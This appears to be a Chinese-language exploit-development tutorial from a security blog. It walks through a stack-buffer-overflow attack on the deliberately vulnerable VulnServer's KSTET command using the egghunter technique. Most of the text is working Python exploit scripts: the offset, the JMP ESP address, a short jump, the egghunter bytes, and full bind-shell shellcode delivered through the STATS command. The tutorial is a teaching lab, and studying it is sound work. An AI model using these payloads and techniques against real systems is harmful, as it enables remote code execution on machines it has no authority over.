此篇为漏洞利用开发第三篇,按计划我其实想写关于Unicode或者关于SHE一些其他玩法。但是众多朋友说啥时候写写关于egghunter,才使超阶越次有此篇。Egghunter这个技术其实很早就有了。客观点来讲egghunter算漏洞利用非常实用技巧,取名来源于基督教复活节一个寻找彩蛋的游戏。其实原理类似唯独与前面两篇不同我们进行漏洞利用开发过程中绕过有限的缓冲区空间限制。古人云:山重水复疑无路,柳暗花明又一村,众位看官且听我娓娓道来。
Windows7—Sp1(目标机)
kali-linux(攻击机)
ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以ImmunityDebugger
VulnServer
需要对了解X86汇编
对python有一定了解
在常规缓冲区攻击中,很多时候整个缓冲区不会以最佳状态分配到目标程序内存,前面我们已经知道有些字符可能发生偏移或者转换。但是转换不仅限于字符。有时候,由于未知原因,可能会重新分配整个内存空间。有时候缓冲区会被截断,因此我们的shellcode不会进入到可用的空间。在这种情况下,通常可用使用另外一个方式将shellcode传递到程序内存中。例如,通过攻击目标程序不同功能。同时还有一个很常见情况,就是许多应用程序倾向于将用户输入存储在内存中时间超过他本身所需时间。利用这一个情况。我们可以将shellcode传递给前面被截断的程序。但是,剩下问题就是如果触发这个传递shellcode。Egghunter就此诞生,是特定类型的小型shellcode,当用户缓冲区溢出出现被拆分并分配到内存位置部分时可以使用。
Egghunter shellcode 可以搜索进程的整个地址空间,查找特定的字节集。如果找到了该特定的字节集,egghunter 会将执行流执行到它们所驻留的空间。此外,它大约为 40 个字节,可以完全适合部分或部分截断用户缓冲区的情况。egg 本质上是将在较大的 shellcode 中查找的 shellcode,这里有点像渗透测试中一个技巧——“小马拉大马”可以通过在其开始处使用特殊标记将其与其余的内存内容区分开。让我们来看一个 egghunter shellcode 的真实示例,以更好地了解它的工作原理。Egghunter Shellcode 依赖于能够遍历进程内存的系统调用。由于 Windows 上很少有提供此类功能的系统调用,因此可以用几种可能的方式编写 Egghunter。在互联网搜索即可发现之前有安全研究员创建的“egghunter”白皮书可以通过如下链接访问http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
发送5000个字节FUZZ模糊测试KSTET,由于本系列文章主要是专注漏洞利用,关于FUZZ测试后续有时间,在推出相关文章。尽请关注!
#!/usr/bin/python
import socket
import sys
evil = "A"*5000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.242.132',9999))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
查看当前缓冲区字符只能放置92个字符。可能没有像之前文章讲shellcode放入后面运行。因为一般shellcode需要355~500个字符,此空间是肯定不够。因此我们需要另辟蹊径。
通过前面公司来看,1000个字符足以,因为应用程序也只接受90多字节。使用!mona pc生成唯一字符串发送至缓冲区,由此得出覆盖EIP覆盖偏移地址。发送此唯一字符串会导致EIP被63413363覆盖
使用!mona findmsp,发现偏移量是70个字节。
为了验证offset是否正确,修改如下代码
#!/usr/bin/python
import socket
import sys
evil = "A"* 70 + "B" * 4 + "C" * (100-4-4)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.242.132',9999))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
如图所示,偏移正确,并且EIP被4个B覆盖。这里注意一个问题,位于EIP以后ESP指向20字节。这个问题就可能会带来坏字符识别问题,同时需要注意删除空字节(\x00) 所以需要拆分,第一部分从\x01到\x50
#!/usr/bin/python
import socket
import sys
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50")
evil = badchars
evil += "C"*(1000-len(evil))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.242.132',9999))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
如图所示,未发现坏字符
第二部分\x51到\xa0
第三部分\xa1到\xf0
最后部分\xf1到\xff。经过多次检测,发现仅有\x00唯一坏字符
然后,我们使用!mona jmp –r esp 搜索标记JMP ESP指令的地址。发现几十个地址,但是为了利益我选择0x625011AF
然后,修改相关代码
#!/usr/bin/python
import socket
import sys
#jmp esp 625011AF
esp ="\xAF\x11\x50\x62"
evil = "A"* 70 + esp + "C" * (100-4-4)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.242.132',9999))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
如图所示,地址有效被重定向到C缓冲区。由于空间有限,不得不使用短跳技术。这里我并没有从A开头跳,此决定只跳50个字节。短跳的opcode是\XEB,而-50等于0xFFFFFFCE
因此,我过去后跳50个字符指令的opcode为\XEB\EXCC
如图所示,跳转成功,并且相对跳转指令($)位置,我被重定向到50个字节($-32Hex)
至此,我们生存我们需要的egg hunter,利用MSF-egghunter。如图所示
egghunter = ""
egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
egghunter += "\x3c\x05\x5a\x74\xef\xb8\x68\x61\x63\x6b\x89\xd7"
egghunter += "\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
当然在使用egghunter之前,必须要确认egg hunter代码之前偏移(A的数量)。为此我们做一个如图所示计算考虑到20占用一个字节因此需要24个字节($+18Hex)
如图,为本篇缓冲区利用流程示意图。
为了测试计算是否正确,执行如下
#!/usr/bin/python
import socket
import sys
#jmp esp 625011AF
esp ="\xAF\x11\x50\x62"
opcode ="\xEB\xCC"
egghunter = ""
egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
egghunter += "\x3c\x05\x5a\x74\xef\xb8\x68\x61\x63\x6b\x89\xd7"
egghunter += "\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
evil = "A" * 24
evil += egghunter
evil += "A" * (70-len(evil))
evil += esp + opcode
evil += "C" * (1000-len(evil))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.242.132',9999))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
有效,重定向gghunter代码
然后我们生成我们需要的shellcode
由于shellcode不够放入KSTET命令中,因此需要使用开篇所说,该程序的其他命令。STATS命令放置了shellcode。这样,我的shellcode将被放置在内存中的某个位置,并让Egghunter找到它
#!/usr/bin/python
import socket
import sys
ip = "172.16.242.132"
port = 9999
shellcode = "hackhack"
shellcode += "\xb8\x85\x10\xa1\xec\xda\xdd\xd9\x74\x24\xf4\x5b"
shellcode += "\x31\xc9\xb1\x53\x31\x43\x12\x83\xc3\x04\x03\xc6"
shellcode += "\x1e\x43\x19\x34\xf6\x01\xe2\xc4\x07\x66\x6a\x21"
shellcode += "\x36\xa6\x08\x22\x69\x16\x5a\x66\x86\xdd\x0e\x92"
shellcode += "\x1d\x93\x86\x95\x96\x1e\xf1\x98\x27\x32\xc1\xbb"
shellcode += "\xab\x49\x16\x1b\x95\x81\x6b\x5a\xd2\xfc\x86\x0e"
shellcode += "\x8b\x8b\x35\xbe\xb8\xc6\x85\x35\xf2\xc7\x8d\xaa"
shellcode += "\x43\xe9\xbc\x7d\xdf\xb0\x1e\x7c\x0c\xc9\x16\x66"
shellcode += "\x51\xf4\xe1\x1d\xa1\x82\xf3\xf7\xfb\x6b\x5f\x36"
shellcode += "\x34\x9e\xa1\x7f\xf3\x41\xd4\x89\x07\xff\xef\x4e"
shellcode += "\x75\xdb\x7a\x54\xdd\xa8\xdd\xb0\xdf\x7d\xbb\x33"
shellcode += "\xd3\xca\xcf\x1b\xf0\xcd\x1c\x10\x0c\x45\xa3\xf6"
shellcode += "\x84\x1d\x80\xd2\xcd\xc6\xa9\x43\xa8\xa9\xd6\x93"
shellcode += "\x13\x15\x73\xd8\xbe\x42\x0e\x83\xd6\xa7\x23\x3b"
shellcode += "\x27\xa0\x34\x48\x15\x6f\xef\xc6\x15\xf8\x29\x11"
shellcode += "\x59\xd3\x8e\x8d\xa4\xdc\xee\x84\x62\x88\xbe\xbe"
shellcode += "\x43\xb1\x54\x3e\x6b\x64\xc0\x36\xca\xd7\xf7\xbb"
shellcode += "\xac\x87\xb7\x13\x45\xc2\x37\x4c\x75\xed\x9d\xe5"
shellcode += "\x1e\x10\x1e\x18\x83\x9d\xf8\x70\x2b\xc8\x53\xec"
shellcode += "\x89\x2f\x6c\x8b\xf2\x05\xc4\x3b\xba\x4f\xd3\x44"
shellcode += "\x3b\x5a\x73\xd2\xb0\x89\x47\xc3\xc6\x87\xef\x94"
shellcode += "\x51\x5d\x7e\xd7\xc0\x62\xab\x8f\x61\xf0\x30\x4f"
shellcode += "\xef\xe9\xee\x18\xb8\xdc\xe6\xcc\x54\x46\x51\xf2"
shellcode += "\xa4\x1e\x9a\xb6\x72\xe3\x25\x37\xf6\x5f\x02\x27"
shellcode += "\xce\x60\x0e\x13\x9e\x36\xd8\xcd\x58\xe1\xaa\xa7"
shellcode += "\x32\x5e\x65\x2f\xc2\xac\xb6\x29\xcb\xf8\x40\xd5"
shellcode += "\x7a\x55\x15\xea\xb3\x31\x91\x93\xa9\xa1\x5e\x4e"
shellcode += "\x6a\xc1\xbc\x5a\x87\x6a\x19\x0f\x2a\xf7\x9a\xfa"
shellcode += "\x69\x0e\x19\x0e\x12\xf5\x01\x7b\x17\xb1\x85\x90"
shellcode += "\x65\xaa\x63\x96\xda\xcb\xa1"
#jmp esp 625011AF
esp ="\xAF\x11\x50\x62"
opcode ="\xEB\xCC"
egghunter = ""
egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
egghunter += "\x3c\x05\x5a\x74\xef\xb8\x68\x61\x63\x6b\x89\xd7"
egghunter += "\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
evil = "A" * 24
evil += egghunter
evil += "A" * (70-len(evil))
evil += esp + opcode
evil += "C" * (1000-len(evil))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.send("STATS " + shellcode + '\r\n')
s.recv(1024)
s.close
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.send('KSTET ' + evil + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close
执行最终的利用代码后,查看shellcode 是否有效
由于shellcode有效,因此目标机开启4444端口,最好只需要连接获取权限即可
本文作者:legend
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/118655.html